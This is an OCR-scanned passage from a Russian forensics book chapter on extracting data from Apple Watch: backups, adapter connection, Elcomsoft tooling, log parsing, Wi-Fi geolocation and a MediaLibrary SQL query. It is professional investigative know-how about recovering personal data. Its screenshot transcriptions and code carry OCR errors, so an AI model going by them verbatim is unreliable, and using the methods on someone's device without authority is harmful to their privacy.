ожидать , что по крайней мере часть собранных данных сохраняется в часах. Часы 

ведут полноценные логи , формат которых совпадает с форматом аналогичных ло­

гов iPhone. Кроме того , на часах могут быть многочисленные циферблаты , на них 

можно устанавливать приложения (в том числе сторонние, из магазина), синхрони­

з ировать фотографии . Часы получают уведомлен ия с телефо на , причем в них мо­

жет содержаться час ть сообщения . С часов можно слушать музыку, зарегистриро ­

ваться на рейс и пройти посадочный контроль при помощи поса д очного талона 

в виде QR-кода. Часами можно оплачивать покупки. На часах работает голосовой 

помощни к Siri. Если же речь идет о версии часов с LTE, то с часов можно и позво­

нить . Иными словами, часы Арр\е Watch умеют делать многое и з того, что может 

делат ь и обычный смартфон. Есть ли возможность добрат ься до всех эт их данных? 

Информацию и з часов можно извлечь тремя разными способам и . Во-первых , из­

влечь р езервную копию Apple Watch из локальной или обла чной ре з ервной копии 

по дключенного к часам iPhone. Во-в торых, часы можно подключить напрямую 

к компьютеру , используя переходник , после чего извлечь дан ные методом логиче­

ского анализа. Наконец , некоторые дан ные возможно достать и з облака iCloud 

(в первую очередь речь идет о данных «Зд оровья » пользовател я , которые собирают 

часы). 

Каждый из эт их способов возвращает свой собственный на бо р да нных , отличный 

от того, который можно получить другим и способами. Данные частично пересека­

ются, но мы рек омендуем по возможности использовать все три способа для мак­

симально полного извлечения . 

Анализ резервной копии iPhone 

Часы Apple Watch независимо от поколения аппаратной п л атформы и версии 

WatchOS обладают возможностью создавать ре зе рвную копию д анных. Тем не ме­

не е, WatchOS не по зволяет испо льзовать сервис дл я со зд ания резервных копий ни 

сторонним приложениям , ни даже программе iTunes. Резерв ны е копии часов соз­

даются только и исключительн о в подключенном к часам смартфоне iPhone. 

Согласно документации Арр\е , содержимое Apple Watch автоматически копируется 

на сопряженное устройство iPlюne , чтобы дан ные Apple Watch можно было восста-
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навить из этой резервной копии. К сожалению, нам неизвестен способ , которым 

можно было бы форсировать создание свежей ре зерв ной копии часов в iPhone, за 

исключением одного: отсоединить часы от iPhone, разорвав пар у. В статье Apple 

«Резервное копирование данных Apple Watch» (https://support.apple.com/ru­
ru/НT204518) подробно описано, что входит , а ч то не входит в состав ре зервных 

копий часов. 

Вот что включает резервная копия данных Apple Watc\1: 

□ данные (для встроенных программ) и настройки (для встроенных и сторонних 

программ) ; 

□ расположение программ на экране «Домой» и настройки циферблата; 

□ настройки панели Dock и основные системные настройки ; 

□ медицинские данные и данные о физической активности ; 

□ настройки уведомлений; 

□ плей-листы , альбомы и миксы , синхронизируемые на Apple Watch, и настройки 

музыки; 

□ настройки параметра Siri « Ау д иоот з ыв » для Apple Watch Series 3 или более 

поздних моделей; 

□ синхронизированный фотоальбом; 

□ часовой пояс. 

Вот что не входит в резервную копию данных Apple Watch: 

□ записи сопряжения Bluetooth; 

□ данные кредитных или дебетовых карт для платежей Apple Рау , сохраненные на 

Apple Watch; 

□ код-пароль к часам Apple Watch. 

Таким образом , резервную копию часов Apple Watch можно извлечь из iPhone. Са­

мый простой способ это сделать - соз д ать локальную или облачную ре зервную 

копию iPhone, после чего проанализировать ее соде ржимое . Мы не будем по д робно 

останавливаться на процедуре соз д ания резервны х копий ( они многократно описы­

вались в Интернете); отметим только , что для создания свежей ре зе рвной копии 

можно использовать iTunes или одну и з сторонних программ , но мы воспользова­

лись утилитой Elcomsoft iOS Foreпsic Toolkit, с т раниц а р азраб отчиков которой рас­

положена по адресу https://www.elcomsoft.com/eift.html (она же пригодится по зже 

и для извлечения данных из часов , подключенных к компьютеру через перехо д ­

ник). 

Итак, резервная копия iPhone создана, осталось найти в ней р езе рвн ую копию часов 

Apple Watch. Для этого мы воспользуемся д в ум я ут илитами : iBackupBot 

(https://www.icopybot.com/itunes-backup-manager.htm, доступна дл я Windows и 

MacOS) и SQLite Expert для Windows (http://www.sqliteexpert.com/). 

Начнем с анализа спецификаций устройства. Для этого откроем резервную копию 

iPhone в приложении iBackupBot. 
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В папке \НomeDomain\Library\DeviceRegistry.state нахо д ятся следующие файлы 

(рис. 15.1): 

□ historySecureProperties.plist; 

□ stateMachine-.PLIST; 

□ activestatemachine.plist; 

□ history.plist. 

В файле historySecureProperties.plist хранится серийный номер часов , уникальный 

идентификатор UDID (UniqueDeviceidentifier), МАС-адреса адаптеров Wi-Fi и 

Bluetooth подключенных к телефону часов Apple Watch (рис. 15.2). 
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Файл stateMachine-<GUID>.plist хранит информацию о сопряжении с iPhone 

(обычно значение PairSuccess), версию операционной системы Watcl,OS и время 

сопряжения с телефоном (записанное в формате Apple Сосоа Core Data, 

https://www.epochconverter.com/coredata, рис . 15.3). 

Фай л activestatemachine.plist содержит информацию , по добную той, что в файле 

stateMachine-<GUID>.plist, только она д ополнена данными о версии WatchOS, 

установленной на часах в момент соз д ания ре зе рвной копии (рис. 15.4). 
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В папке NanoAppRegistry со д ержится информация об установленных на часах 

приложениях . На рис. 15 .6 можно увидеть информацию о приложении Facebook, 

включая данные Bundle Version, Display Name, Bundle ldentifier и Bundle Name. 

К сожалению , данных приложения в резервной копии часов нет , только информа­

ция о приложении. 

В базе данных NanoMail\Registry.sqlite хранится информация о почтовых учетных 

записях , которые синхронизируются с часами . 

В частности , в таблице SYNCED _ACCOUNT можно найти записи Display Name 

и Email Address для каждого почтового акка у нта , который синхронизируется 

с устройством. Ни пароля , ни маркера аутентификации от почтовых аккаунтов 

в резервной копии нет (рис. 15 . 7). 

В таблице МAILBOX можно просмотреть , как организована почта, пролистать 

папки и подпапки для каждой учетной записи («Входящие» , «Исходящие», «Черно ­

вики» , «Архив» и т . д. - рис. 15.8). 

В базе NanoPasses\nanopasses.sqlite3 содержится список записей из приложения 

Wa\let. Программа Wallet- у ниверсальное хранилище кредитных , дебетовых и 

предоплаченных карт , а также карт магазинов , посадочных талонов , билетов 

в кино , купонов , бонусных карт , сту де нческих удостоверений и т. д. Записи Wallet 

синхрони з ируются с часами. В частности , часы можно использовать для отображе­

ния QR-кода посадочных тал онов для их удобного сканирования при посадке на 

рейс . Для каждой записи доступньi данные Туре_Ш , название организации 

Organization Name, дата Ingest Date (в формате Apple Сосоа Core Data) и описание 

Description (рис. 15.9). 
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Рис . 15.7. Данные о почтовых а к каунтах в резервной копии Apple Watch 
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Рис . 15.1 0. Просмотр извлеченной из резервной к опии 

информации о брони гостиницы в Booking.com 

В некоторых записях д оступно поле Encoded Pass, в котором со д ержится дво ич­

ный файл plist с до по лнительной информацией (например, описанный выше 

QR-код посадочного талона). Такие файлы можно извлечь и з базы данных и от­

крыть при помощи программы дл я ра боты с plist (на пример , plist Ed itor, https:// 

www.icopybot.com/plist-editor.htm). 

На рис. 15 .1 О можно увидеть з апись бро ни гостиницы через Booking.com. Поле 

Encoded Pass можно открыть в SQLiteExpert и сох ранить в виде файла . 

Далее файл открываем в plist Editor и и з влекаем информацию о брон и , включая имя 

гостя , название и а д рес гостиницы , д аты з ае зда и выезда , стоимость и номер брони 

(рис.15.11). 

В папке NanoPreferencesSync хранятся ра зл ичные файлы , отвечающие з а настрой­

ки Apple Watch . Наибо льший интерес зд есь представляет папка \Backup\Files\, 

в которой содержится информация о циферблатах и их настройках , включая и зо ­

бражения. Все э ти фай лы пре дста в ляют собой обы чные архивы в формате ZIP 

(рис. 15.12). 

В каждом архиве лежат: 

О Face.json - файл с деталь ными настройками циферблата , включая д ату его соз­

дания (как обычно , в форма те Арр\е Сосоа Core Data); 

О папка Resources с и з ображением циферб лата в формате JPEG, а также файл 

Images.plist, в к ото ром хранятся метаданные. 
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Рис. 15.12. Информация о циферблатах и их настройках с изображениями 

хранится в обычных ZIР-архивах 
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Проанализировав резервную копию часов из iPhone, мы получили достаточно 

скромный результат. Настройки системы и приложений , талоны из Wallet, настрой­

ки почтовых учетных записей , циферблаты . Никаких логов , никаких цифр с пока­

заниями датчиков, уведомлений или истории местоположения пользователя ; ника­

ких данны х из песочниц сторонних приложений . Строго говоря , мы вообще не 

у знали ничего интересного свер х того , что могли бы у з нать , проанализировав 

резервную копию сопряженного с часами iPhone, из которой мы , собственно , и из­

влекли резервную копию часов. 
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И з вл е чение данных из Apple Watch 
через адаптер 

Более сложный способ извлечь информацию из Apple Watch- подключить их 

к компьютеру специализированным переходником , правильное подсоединение ко­

торого к часам поистине ювелирная работа . В любом случае обязательно выпол­

нить д ва требования: 

1. Каким-то образом подключить часы к компьютеру . И если для Apple Watch S \ , 

S2 и SЗ есть готовые адаптеры lВUS , то дл я часов последней серии нужного 

адаптера мы не нашли. 

2. Когда часы подсоединятся к компьютеру , потребуется создать доверенное со ­

единение - точно так же, как и с iPhone. И точно так же, как и в случае 

с iPhone, для этого нужно будет разблокировать часы кодом блокировки. Если 

этого не сделать, то связать часы с компьютером не получится . 

И даже после всего перечисленного тебе не удастся извлечь образ файловой систе­

мы! Все , что тебе будет досту пно , - это несколько сервисов , через кото р ые можно 

попробовать извлечь часть типов данных. С учетом всего этого неудивительно , что 

извлечением данн ых из часов Арр\е Watch мало кто занимается. 

Что же вообще можно выудить из часов при прямом подключении? Доступны все­

го три типа данных: 

1. Информация об устройстве и список установленных приложений . 

2. Фай лы через протоко л AFC (Apple File Conduit). 

3. Лог-файлы. 

Подключение к компьютеру 

Нам удалось найти перехо дн ики дл я первых трех поколений часов; для Apple 

Watch 4 такого адаптера нет . Диагностический порт в часах Арр\е Watch находится 

под креплением для ремешка; потребуется тонкая игла или скрепка для того, чтобы 

открыть крышку. Используемый нами адаптер носит название ШUS: IBUS for 

Apple Watch Sl и IВ US for Apple Watch S2 and SЗ (рис. 15.13). 

Рис. 15.1 З. Адаптеры iBUS для подключения часов Apple Watch к к о м п ьют ер у 
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Так же как и дл я iPhone, пр иложение iTunes за просит разрешение на создание дове­

ренного со ед ин ени я с компьютером. По сле успешного подключения iTunes отобра ­

зи т инфор мацию о часах (только версия ОС и уни к альный и дент ификатор часов, 

рис. 15.1 4). 

Ьti'tllll 

Apple Watch 

UDID; 7"7006f4!1355ac3Зd5b7fe7ddd5352c8e5e1 

с45 

Eject Арр1е Watcl1 ... 

Softwar Version 5,2 

ff уон are exper;et\Oнg pr0Ыe11,s JJ1i1h your Applf' Watch, you 

сап restore ,ts origiпal set1,119s t>y clickir1g Resюre 

Appie Watch. 

Resюre- Арр1е Watch . 

Рис. 15.14. О тображение информации о часах в программе iTunes 

Теперь з апуска ем Elcomsoft iOS Fo1·ensic Toolkit. Список приложений , уста н ов­

л енны х на ч ас а х, из в лекается коман дой r (Device Info) и сохраняется в файл 

(рис. 15.15). 

На диске (обычно в том же каталоге , ку да установлен iOS Forensic Toolkit) создает ­

ся три фай л а : 

□ Ideviceinfo.plist; 

□ Applications.txt; 

□ Applications.plist. 

В файле ideviceinfo.plist содержится вся досту пная информация по Арр \ е Watch, 

включая т очны й иде н т и фикатор модели (Hardware Model), версию операцион н ой 

системы WatchOS, с е ри йн ы й номер часов (Serial Number), UDLD, название уст р ой ­

ства (Device Name), МА С - ад р еса адаптеров Wi-Fi и Bluetooth, часовой пояс и в р емя 

на момент и з в л еч е ния да н н ы х (рис. 15. 16). 

Также в фай л е ес т ь инфор м а ция о свободном и общем объеме накопителя и р азме ­

ре сис т емного р азд е ла (атрибуты Total Disk Capacity, Total System Capacity, Total 

Data Capacity, Total Data Ava i laЫe) . Наконец , атрибу ты Language и Locale со ­

держат информацию о в ыб р анном языке и региональных настройках. 

Список установ ле нны х н а ч асах приложений сохраняется в файл Applications.txt 

(рис . 15 .17). Сю д а попа д аю т такие данные, как Bundle Identifier (уникальн ы й 

идентификатор при л ожения ), Bundle Version и Bundle Display Name ( н азван и е 

приложения в т ом в и де, как о н о отображается на часах) . 
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R RE COVERY !NFO 
В BACKUP 
М ME D! A 
S SHAREO 

L LOGS 

Physical acquisition 
О D!SABLE LOCK 
К KEYCHAIN 
F FI LE SYSТEM 

Х ЕХ!Т 

>: 1 

- Ge t basic device intormati.on 
- Get .intormat i.on on device in DFU/Recovery mode 
·· Create iТunes - styte backup ot the devict! 
- Со ру media f iles from t he device 
- Со р у shared fi\es of the insta\\ed app\ications 
- Сору crash \ogs 

- DisaЫe screen \ock (until ге Ьооt ) 

- Оесгурt device keychain 
- Acquire device file system (as TAR archive) 

We \ come to E\ comsott 105 Forensic Too\kit 
Thi s is dri ver script veгsion 5.0/Мас for 64Ыt devJces 

(с) 2011 - 2019 E\comsott со. Ltd . 

Device connected: Appl.e Wat.ch 
Ha rdware modet: N 121 . ЬдР 

Se гiа l number: GJ9X61BKJ SX6 
iOS version: 5 . 2 
Dev ice ID: 7а780бf 4f 1355ac3Зd5Ыf е 7ddd5352c8e5e l c45 

Device paired 
'Write device into to file <ideviceinfo.p1ist> : 
,Wri t e insla l led ap plications l ist to file <applications.txt>: 
Write full ins\a\led app1ications info to file <app\ications. plist> : 1 

Рис. 15.15. Информация об установленных приложениях с помощью Elcomsoft IOS Forensic Toolkit 
сохраняется в файл 
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26 

false 

161225 

armv7k 

32772 

Watch 

1 

Apple Watch di Mattia 

1791933580181542 

Ь8:4 1 :а4:19: 1 б:11 

iBoot-4513.250.287 

N121bAP 

\8004 

true 

GJP829208PSJOY34S 

MQL12 

GUID_partition_scheme 

false 

\'/atch 05 

Watch3,4 

5.2 

true 

2 

QUA 
GJ9X86F2J5X4 

fa lse 

1561201076.940697 

Europe/Rame 

7200.000000 

true 

17919Н580181542 

2 а 91Ь еа 164372J!ce72f820abd21 сБ е 8542 4 2341 

3804C550-8829-4DFD-8DCA-04F825967CB9 

true 

true 

Ь8 : 41 : a4: 1 4 : 37:df 

General Domain 

Рис . 15.16. Информация об устройстве Apple Watch 

Детальная информация о каждом установленном приложении доступна в файле 

Applications.plist (ты помнишь , какой утилитой его просмотреть). Здесь содержит­

ся информация о точно м пути в файловой системе , по которому установлено при ­

ложение и пути к его песочнице (Application Path и Container соотв етственно) . 

Обра т и внимание : д оступа к файловой системе часов у нас н ет , так что д оступа 

к данн ы м из пес о чницы мы не получим . Как выглядит информация о при ло жении 

Uber, можно пос м отреть на рис. 15.18. 

Скопировать фай л ы системных журналов можно коман д ой L (Logs) . 
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!i;;( M \ RICE R CH E. \A PPlE _WAТCН\IOS_SACKUP _ARТICLE_ELC.OMSOF1\Archivr.\appliations.txt. Not~pad•+ 

File Modifк: a Cw:.t Visu111liu,1 Fo,m.rto l ing~ggio Configurazionr. Strumenti M•c.ro Eщui Plugin Finмtr1 ? 

О d {;i (;; ' о , О li;) ! ~ t!i r~ 1 ;) С i ilt \r I t , t ! 4З ~ ! ;;;:-, '11 ~ С) ~ lJ f:,J ! [!j (,!,: \}: r.) ~,! J,I' 

13 ..--,ы 1З J 

1 ~ FBundleidentifier , CFBundleVersion , CFBundleDisplayName 

2 com . roeloqis . soundhound . free .watcha~, " 1 ", " SoundHound" 

З com -~-launcher . watchkj.tam;, , " 15084 ", " Lufthansa " 

4 а t . X:.\.Ul.t.~ . ~I,2,QLt.aRP . ~cl:la,~, " 9 . 5 . О . 2 8 7 З " , " Eшlt.a.~s;. " 

5 com . apple . NanoRadio , 

6 com.apple . Nanoмusic , 

" 118 . 1" , 

" 880 . 28 ", 

" Radio" 

7 c om. apple. NanoMail , "1 . О ", "Mai,l " 

8 com . uoe:;~aD . UЬerClient. watchkitam;, , " з. 356 . 10001 ", "~ " 

9 com. apple .nanonew~ , "4 06 ", " News " 

10 com . ~ . watchkitapp , " 10 . 9.1 . 48 ", " У~ " 

11 c om. apple . NanoCalendar , "1.0", " Calenda.uo." 

12 com. apple.NanoMaps , " 1 . 0 " , "~ " 

13 com.~~- RoboForm . ~Ql}u.t,api;:, , " 874 . 9 " , "RoboForm" 

14 com. ~,QQ,k .Messenger .~~, " 1597 4 6022 ", "Messenger " 

15 com . м . ~~ . ~t,a.pp, "7 . О . 15 . 11 " , " N s " 

16 c om . ,spotif:t . client -~~, " 850700601 ", " Spotif:t " 

Рис. 15.17. Содержимое файла Applications.txt 
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Рис. 15.18. Извлеченная из устройства информация о приложении Uber 
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Анализ лог-файлов часов 

Итак , мы извлекли ло г-файлы из ча сов. Более по д ро б но почитать о лог-файлах iOS 
можно в ста ть е Usiпg Арр\е «Bug R eport iп g» for foreпsic purposes Маттиа Э пифани 

(Mattia E pifaпi ) , Хизер Махалик (Heather Mahalik) и Адриана Леонга (Ad riaп Leoпg , 

Cheeky4пбmoпkey ) , которую мож но найти по адресу https://www.for585.com/ 
sysdiagnose. В статье р ассказываетс я о том, как использовать профили sys diagпo se 

дл я извлечения да нных и з различных уст ройств А рр\ е. Попробуем использовать 

тот же по дход с часами. 

Скрипты для анализа д анных sysd iagnose можно скачать с GitHub по а д ресу 

https://github.com/cheeky4n6monkey/IOS_sysdiagnose_forensic_scripts. Наиболь­

ший интерес пр едставляют следую щие системные журналы: 

□ MoblleActivation соде ржи т инфо рмацию о версиях ОС и времени их установк и , 

модели уст ро йства и типа продукта. З десь та кже х ранится детал ьная информа­

ция об обновлениях Watc\10S; 

□ MoЬileContain e rManager пре дста вляет интерес тем , что соде ржит информацию 

об удалении приложений с часов . Проанализировав журнал , можно понять , 

какие приложения могли использоваться на часа х в интересующий период вре­

мени ; 

□ Mobllelnstallation аналогичен предыд у щему , но информация здес ь не об удале ­

нии , а об установке приложений на часы . 

На рис . 15.19 пока за на рабо та скрипта с журналом Moblle Activation и парсинг 

журнала MoЬileContainerManager . 

18 Apr 2919 12:~6;35 ~obile Act iation St.trtup {line 170] 

18 Apr 2019 12:J.6:35 /l!obile Activзt\an Build Ve rsion,,, 165535 

18 Apr 1619 12 :4 6:3Ь Mob1le Activ,нion H;нd•are №dcl -= N121bAP 
18 Apr 2119 12:i.6 :35 Nob1 l e Act1v11tion Product Туре = Wai::cnз,i. 
18 Apr 2819 12:46:35 Mob1le Activation Devic e Cla ~• -... Watch 

19 Apr 7019 11 : 17:36 /,lobilt Acti-.:.1ti on Startup {11пе 186 ) 

19 Apr 2t19 11:17:36 МоЬi1е Ac t1v,1t1or, Bui]d Version = 161225 
Н Арт 2819 11:17:36 Hobil<t Act:ivation Hard·11111ti!tc Model ~ Ю21ЬАР 

sy-s<flэgoose - ~bash-15Зx29 

• 19 Apr 2619 U:17:36 Mohi1e Activatlon Pr oduct Туре" w,нсhЗ , ~ 

19 Apr 2819 11:17:36 ~ob1le Activati on Device Cl,1ss"' Wat ch 

19 APr 2819 11:17:36 Upo rad ea fro.'11 16S535 to 16Т225 fline 2&81 

25 Apr 2819 13:14:ЗО ~.Db ile Activation Startup Гlinto 299] 
25 Apr 2019 13:14:36 МоЫ1е Act iv.1 tion Build 1/e-rsion '" 16T22S 
25 Apr 2819 lJ: lt.:36- Nobile Activation H.ard·/11.н& Model "' Н121ЬАР 
25 Apr 2619 13:14:36 MoDtle Activa tion Product Typti,.. Wнсhз,, 
25 Apr 201.1 13:1t.:36 J,lob ile Acti v.н 1on !nvice Сl~и. • Wa tcn 

25 Apr 2е19 13:17:38 ,tct,ile Ac tlva t lon StJrtup [linti 218} 
25 Арг 2019 13:17:88 ),10D1le Acti ·J.нio n lkнld '/нноn = 16T22S 

, 2s ApI 2819 13:17:88 Nobi l e Actlv;i-:ion Haгdware ~Odt'l "' N121bAP 
25 Apr 2819 13:17:88 Mobil6- Ac:t1 vati on Product Т;,ре "" Watchз,, 

25 Apr 2819 1.З:17:08 li!obi1e Activ :Hl(:,n ~vi ce Сlан = Watch 

' 

Э ~у 2Q19 21:52:ЭЗ НоЫlа Act1vation Startup ( line 233] 
3 Мау 2819 21:52:33 Nob11e Activation Build Ve r sion = 16Т225 
3 Мау 2Q19 21.:52:33 Mob1lec Acti vation Hardware Node1 " N121ЬдР 

_f) 4) ~di-!QMse -: Ьash -::, 1 . ~3x1З ... ··- ="""'~-- -···-,. __ h_,,,__ "·· _ =«~ 

м.tcBoo;:.Air-di-Hatti•: sys.1iagnose "'lttiaep1faniS pythonЗ &y sdiaono,e-mob1lecont:.1inersanager. ру -i .. / .. / .. /Desk top/Sysdiaono&e \ test/sysdн on ose_ 2019. 06 . . 
22_ 12-55-36 ..,6 200_Watc.h_OS_Wa tch_ 16 T225/logs / ~otiileCont a1ner..i.1nager/containerinanagerd. 1og. Q 
Flunning •ysdi1gnose-!'lobilec. ❖ nt.Jiri"I<11an.1gGr. ру v2019-85-05 Initi.11 Vo r s ion 

2 Oct 2918 11,: 35: 03 Re-o,iov,нl group . ph . t•lo,gra, t elegr.1ph (11ne t.J. J 
8 Nov 2618 01.:52: 14 Re~ov i:d groo.1p.co11.airbnb.sh.i.red fline 69) 
13 Hov 2Q18 118 :28:Зt,. Re~OVQd g rouo .t:o~. aglleb1ts.oncpa1swtird [line 89] 
28 Fcb 2819 22:29:57 Re1110 -.,ed group.coJi.t•ncent.xin [ l ine 1112] 
30 Арг 2619 17:12:59 R~~oved group .co~.tenc:ent.xin [l1ne 186} 

found 5 g r oup remov.il e11tries 

М,,c 8 ook-Air-di-Nattia:,y s ttiagnose 11a t ti , epit,11niS 1 

Рис . 15.19. Р абота скрипта sysdiagnose с журналом Moblle Activation 
и парсинг жу рнала MoЬileContainerManager 



□-- 181 -- □ 

Но интереснее всего , п о жалуй , ж у рнал Po,verLog. Здесь хранится информация о 

взаимо действии поль зо вателя с часами. Часы лежал и на за рядке? Их взяли в руки? 

Надели на запястье? Поль зо вате ль активировал э кран ? Именно этот журнал в пер­

вую очередь стараются проанализировать э ксперты при расследовании автомо­

бильных аварий . Если водитель отвлекся на часы (или включил экра н телефона, 

в нем тоже есть аналогичный лог) в момент аварии, это будет свидетельствоват ь 

против него (в США есть понятие Distracted Dгiving. Для информации: в результате 

distracted dri ving на американских дорогах в 2017 году погибло более трех тысяч 

человек). Из- з а особой важности структура э той базы данных отлично изучена. 

Можно почита ть, наприм е р , статью Сары Эдварде (https://W\V\v.sans.org/cyber­

security-summit/archives/file/summit-archive-1492180788.pdf) или воспользоваться 

готовым инстр ументарие , APOLLO (https://github.com/mac4n6/APOLLO). Как 

выгля д ит журнал PowerLog. можно увидеть на рис. 15.20 . 

• 
NacBook-A1r- di..folatta:APOL LO mattaepi~11n1S python epollo.py -о csv -р ios -v уо]о 1110dules /Us.eп/•11t:tiaep 1ran i/Drop b o:.:/Personale/Oiagnose_ Profi1e s_i 

OS/APPLE _ WA'ТCH/ 

P:11r s1ng Kodules. 
Р1rsнщ: 129 1""0dule1. 
Searching 'or detabase '1les ... 

•odules/powerlog_sp ringbo•rd _aggregate noti fic11tion1 , t •t 1 datab,1ses. 
E:.ecut 1ng .odule on: /Useгs/•et tiaao1 f an1JOropbc..-, Person.1Ja/D1 agnose_Profi les_10S/ APPl[ _W ATCН/turrentPower tog . PLSOL 
• ••EAROR•н : Could not parse dato1base ( /User1 -,~,н t 1аер1 tan1/Dropbo1/Per.onale/Oiagnose. Prof iles _1 0S/APPLE _ W.f,TCН / CurrentPow-erlog. PLSOL]. Often 

this is du• to f1l• per.iнions, or changes in the dat.1base sche/J:a. This also happens with ••••-n•~e4 daab.ases that contain dif t e rent data {ie: са с 

he_encryptedB.dbJ, 

11odules/powerlog dev1ce telephony_regнtration. tl(i : 1 databases. 
[)fecut 1ng eoaule on: /Useп./•attiaep1 tan1/0ropbox/Person.1 l•ID1agnose_Prof iles_ 10S/APPL[_WATCH/CurrentPo•er log . PLSOL 
• ... [RROR• _.. : Could not риsе databese [ /Users/•,H t ia"p1 *an1/0ropbo1/Personale/Oi,1gno1,e_Prot 1 lea _iOS/APPLE _WAfCH/Current.Powerlog. PLSQL]. Often 

tha is due tз t1l• per-,1ssions, or changes in the d.НаЬаsе scheaa. This also happ1ms with ••••-n•••d dataoases that conta1n ditterent data (ie: 
he_c-ncryptedB. db} 

вodule ~/powerlo-._device_ volu"'e. t•t 1 dat abases. 
[Jtecut 1ng aoaule on: /Uнп./•attiae pi tan1 fO ropboJi /Persona le/Otagnos•_Prof 1les_10S/APPLE_WATCH/CurrentPo•er log. PLSOL 

Hu'IIЬer ot Records: 25 

.odules/power log_button state. txt 1 d,1taba1,es. 
E1e cuting вodule on : !Usersl•at t 1 aepi t,n1 /Oropbo• -P11rson11l11 /0i,1gnose_Prof i le1_iOSJAPPl E _WATCH/ CuпentPowerlog. PLSOL 

Рис. 15.20. Изучение журнал а Powerlog с использованием APOLLO 

Wi-Fi содержат список сетей , к которым подключались часы Н аконец, логи 

(рис. 15.21). Проще всего просмотреть содержимое файла com.apple.wifi.plist, 

в котором интерес пре д с т авляю т за писи о SSШ, BSSID и дате последнего подклю­

чения к дан ной сети. Особый интерес пре д ставляет параметр BSSШ , который мож­

но исполь зовать для определения точного местоположения (радиус 15-25 метров) 

в момент по дключения к сети . Для определения координат точки доступа Wi-Fi по 

ее BSSID можно восполь зова ться од ним из сервисов reverse lookup, например 

Wigle: http://www.wigle.net. 
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Рис. 15.21. Изучение логов Wi-Fi 

Доступ к медиафайлам 
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О доступе к медиафайлам стоит рассказать подробнее . И звлечь медиафайлы можно 

командой м (Media) в приложении Elcomsoft iOS Forensic Toolkit. Интерес пред­

ставляют не столько сами фотографии , сколько база д анных Photos.sqlite. 

Прак тически единственный способ получить досту п к ме д иафайлам из часов Apple 

Watch требует использования утилит ы , работающей по протоколу AFC (Apple File 

Conduit). При этом часы должны быть подключены к компьютеру , а между компь­

ютером и часами ус тановлены до веренные отношения (pairing). 

Как было ска зано ранее , медиафайлы легко извлечь командой м (Media Fi les ) про­

гр аммы iOS Forensic Toolkit. Казалось бы, все просто : медиафайлы - это фотогра­

фии и, возможно , видео ро ли ки ; что интересного может найтись в файлах с часов? 

Оказывается , ин те ресного довольно много - и основной интерес представляют 

вовс е не сами ф отог рафии. На рис. 15.22 показана структура папок , соз д аваемая 

после и з влечения медиа файлов по протоколу AFC. 
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· .. . ..:J Downloads 

, . __J generat_storage 
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__J PuЫicStag ing 

, .::J PhotoData 

...J iТunes_Control 

, ..:J general_storage 

s..:J DCIM . 

...JDownloads 
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Рис . 15.22. Структура папок , 

с оздаваемая после извлечения медиафайлов по протоколу AFC 
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Собственно изображения (в сильно уменьшенном по сравнению с оригиналами ви­

де) попадают в папку DCIМ ; здесь без сюрпризов. Несмотря на то что изображения 

значительно уменьшены (странно было бы передавать на часы полноразмерные 

фотографии), система сохраняет в них метатеги EXIF, что позволяет определить 

такие параметры, как точное время съемки и устройство, использовавшееся для 

фотографии. 

В папке iTunes _ Control\iTunes содержится весьма интересная база данных 

MediaLibrary.sqlitedb. Сюда же входят и соответствующие файлы SHM (Shared 

Memory) и WAL (Write Ahead Log). Сама база данных, как очевидно из названия , 

хранитс я в формате SQLite (как, впрочем, и все остальные базы данных на часах) . 

В этой базе лежат такие данные, как iCloud m пользователя , а также список поку­

пок в магазине iTunes (покупки музыки, фильмов и эл ектронных книг). Что инте­

ресно, в этом файле хранится информация о покупках , совершенных со всех уст­

ройств пользователя , зарегистрированных в данной учетной записи. В базе данных 

36 таблиц. Идентификатор пользователя iCloud m хранится в таблице _MLData­

baseProperties (рис. 15.23). 

iRe.:No 1 1с~ - !valu<! - 1 
Click here to define а fitter ~: __ 

- --- --- -----
> 1 _UUID 4 7 1дбЕ83 -73 8 7- 4D44-ВбЕЕ-9бдF888С2581 

2 MlCloudDatabaseUserVersion 380110 - 3 Orderinglanguage it-lT 

4 MLSortMapUnicodeVersion u1 ..._ 

- 5 MLSyncClientGenerationlD 1894746158599307206 

б autoCreatedSmartPlaylistsDel~ed 1 ..._ 
7 creatl!<!BuittlnSmartPlaylists 1 ,~ 
8 MLSynclibrarylD D4E964E9-623A-41 G-ВОС2-888576Sб808д 

1-

9 MLCloudDatabaseRevision о 
·-

1q MLJaliscoAccountlD 13217616301 

11 MLStordrontlD 143450-7,35 

12 MLJaliscoNel!dsUpdat<!ForTokens о 

~ 

13 MLJal i scolastSupportl!<!Med i aКinds 4194304, 1,65536,32 

14 MlJal i scoDatabaseRмsion 1504986125 - 15 MLCloudDatabasePrderrl!dVideoQuality -1 

Рис. 15.23. Извлечение индикатора пользователя iCloud 1D 

Чтобы извлечь из базы данных какую-то осмысленную информацию , сформируем 

запрос SQL: 

select 

ext . title AS "Title " , 

ext . rnedia kind AS "Media Туре ", 

itep. forrnat AS " File f o rrnat ", 

ext.location AS " File", 

ext . total tirne rns AS "Total tirne (rns ) ", 

ext . file size AS " File size ", 

e xt . year AS "Year", 
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alb.album AS "Album Name ", 

alba .album_artist AS "Artist ", 

com . composer AS "Composer", 

gen . genre AS "Genre ", 

art . artwork_token AS "Artwork", 

itev .extended_content_rating AS "Content rating", 

itev .movie_info AS "Movie information", 

ext . description_long AS "Description", 

ite.track numЬer AS "Track numЬer ", 

sto . account id AS "Account ID", 

strftime( ' %d/ %m/ %Y %H: %M: %S ', datetime(sto . date_purchased + 
978397200 , ' unixepoch ' ))date_purchased, 

sto . store_item_id AS " Item ID", 

sto . purchase_history_id AS "Purchase History ID", 

ext . copyright AS "Copyright " 

from item extra ext 

join item_store sto using (item_pid) 

join item ite using (item_pid) 

join item_stats ites using (item_pid ) 

join item_playback itep using (item_pid) 

join item_video itev using (item_pid) 

left join album alb оп sto . item_pid=alb . representative item_pid 

left join album_artist alba on sto.item_pid=alba . representative_item_pid 

left join composer com оп sto . item_pid=com.representative_item_pid 

left join genre gen оп sto . item_pid=gen . representative_item_pid 

left join item_artist itea on sto . item_pid=itea . representative_item_pid 

left join artwork_token art on sto . item_pid=art . entity_pid 

Этот з апрос извлечет детальную информацию о пок у пк ах поль зо вателя , включая 

название продук та (например , название фильма , музыкального ал ь бома или эл ек­

тронной книги) , размер файла , д лительность з вучания или просмотра компо з иции , 

д ату пок у пки и идентификатор истории покупок . Если купленный файл хранится 

на самих часах , здесь же бу д ет и имя файла. Куплен ны е файлы (на примере ниже 

это му з ыка) можно обнаружить в папке Purchases (рис . 15.24). 

Интерес пре дставляет и папка PhotoData, в которой хранятся метада нные синхро­

